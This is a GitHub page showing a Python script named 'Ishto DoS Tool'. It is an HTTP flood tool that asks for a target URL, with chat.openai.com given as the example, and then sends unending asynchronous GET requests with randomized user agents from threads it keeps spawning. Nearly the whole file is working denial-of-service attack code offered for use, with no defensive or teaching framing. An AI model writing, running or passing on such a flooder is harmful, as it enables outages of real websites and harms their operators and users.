-
Notifications
You must be signed in to change notification settings - Fork 0
/
ishto_dos.py
129 lines (105 loc) · 3.68 KB
/
ishto_dos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
import threading
import aiohttp
import asyncio
import sys
import time
from pystyle import *
import os
import user_agent
from colorama import Fore, Style, init
# Initialize colorama
init()
# Define the function for Ishto DoS Tool
def ishto_dos_tool():
global reqs
# Define headers for HTTP requests
headers = {
"User-Agent": user_agent.generate_user_agent()
}
# Clear screen based on the operating system
osystem = sys.platform
if osystem == "linux":
os.system("clear")
else:
os.system("cls")
# Display Ishto DoS ASCII banner
ascii = '''
#### ###### ## ## ######## ####### ######## ####### ######
## ## ## ## ## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## ## ##
## ###### ######### ## ## ## ## ## ## ## ######
## ## ## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## ## ## ## ##
#### ###### ## ## ## ####### ######## ####### ######
~ Ishto ~
'''
banner = "v1 "
banner = Add.Add(ascii, banner, center=True)
print(Colorate.Horizontal(Colors.red_to_blue, banner))
num = 0
reqs = []
# Create a new event loop for asyncio
loop = asyncio.new_event_loop()
r = 0
try:
# Take user input for the target web URL with color
url = input(f"{Fore.YELLOW}\tEnter Web Url ( https://chat.openai.com/ )->{Style.RESET_ALL} ")
print()
# Add "http://" if not present in the URL
if not url.startswith("http") and not url.startswith("https"):
url = "http://" + url
except Exception as e:
print(f"{Fore.RED}Error: {e}{Style.RESET_ALL}")
return
async def fetch(session, url):
"""
Asynchronous function to make HTTP requests to the target URL.
Args:
session (aiohttp.ClientSession): A client session for making HTTP requests.
url (str): The target URL.
Returns:
None
"""
global r, reqs
start = int(time.time())
while True:
try:
async with session.get(url, headers=headers) as response:
if response:
set_end = int(time.time())
set_final = start - set_end
final = str(set_final).replace("-", "")
if response.status == 200:
r += 1
reqs.append(response.status)
sys.stdout.write(f"Requests : {str(len(reqs))} | Time : {final} | Response Status Code => {str(response.status)}\r")
except Exception as e:
print(f"{Fore.RED}Error: {e}{Style.RESET_ALL}")
return
urls = []
urls.append(url)
async def main():
tasks = []
async with aiohttp.ClientSession() as session:
for url in urls:
tasks.append(fetch(session, url))
ddos = await asyncio.gather(*tasks)
def run():
loop.run_forever(asyncio.run(main()))
if __name__ == '__main__':
active = []
ths = []
while True:
try:
while True:
th = threading.Thread(target=run)
try:
th.start()
ths.append(th)
sys.stdout.flush()
except RuntimeError:
pass
except:
pass
# Call the Ishto DoS function
ishto_dos_tool()